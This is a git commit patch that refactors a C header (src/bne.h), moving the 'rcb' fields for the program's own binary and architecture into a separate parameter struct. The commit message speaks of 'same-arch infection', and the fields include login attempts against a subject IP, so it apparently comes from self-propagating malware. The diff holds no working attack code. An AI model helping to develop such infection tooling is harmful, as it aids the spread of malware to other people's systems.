From 5a98bcd78867b4fb1a272ce26774c8811f28750d Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 22 Jul 2021 22:30:48 +1000 Subject: Impl PRNE_HTBT_OP_RCB ... * Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection --- src/bne.h | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) (limited to 'src/bne.h') diff --git a/src/bne.h b/src/bne.h index dd83dc1..a3f7979 100644 --- a/src/bne.h +++ b/src/bne.h @@ -40,15 +40,7 @@ struct prne_bne_param { void (*exit_dd)(void *ctx); } cb; void *cb_ctx; - struct { - const uint8_t *m_self; - size_t self_len; - size_t exec_len; - const uint8_t *m_dv; - size_t dv_len; - const prne_bin_archive_t *ba; - prne_arch_t self; - } rcb; + const prne_rcb_param_t *rcb; prne_ip_addr_t subject; unsigned int login_attempt; }; -- cgit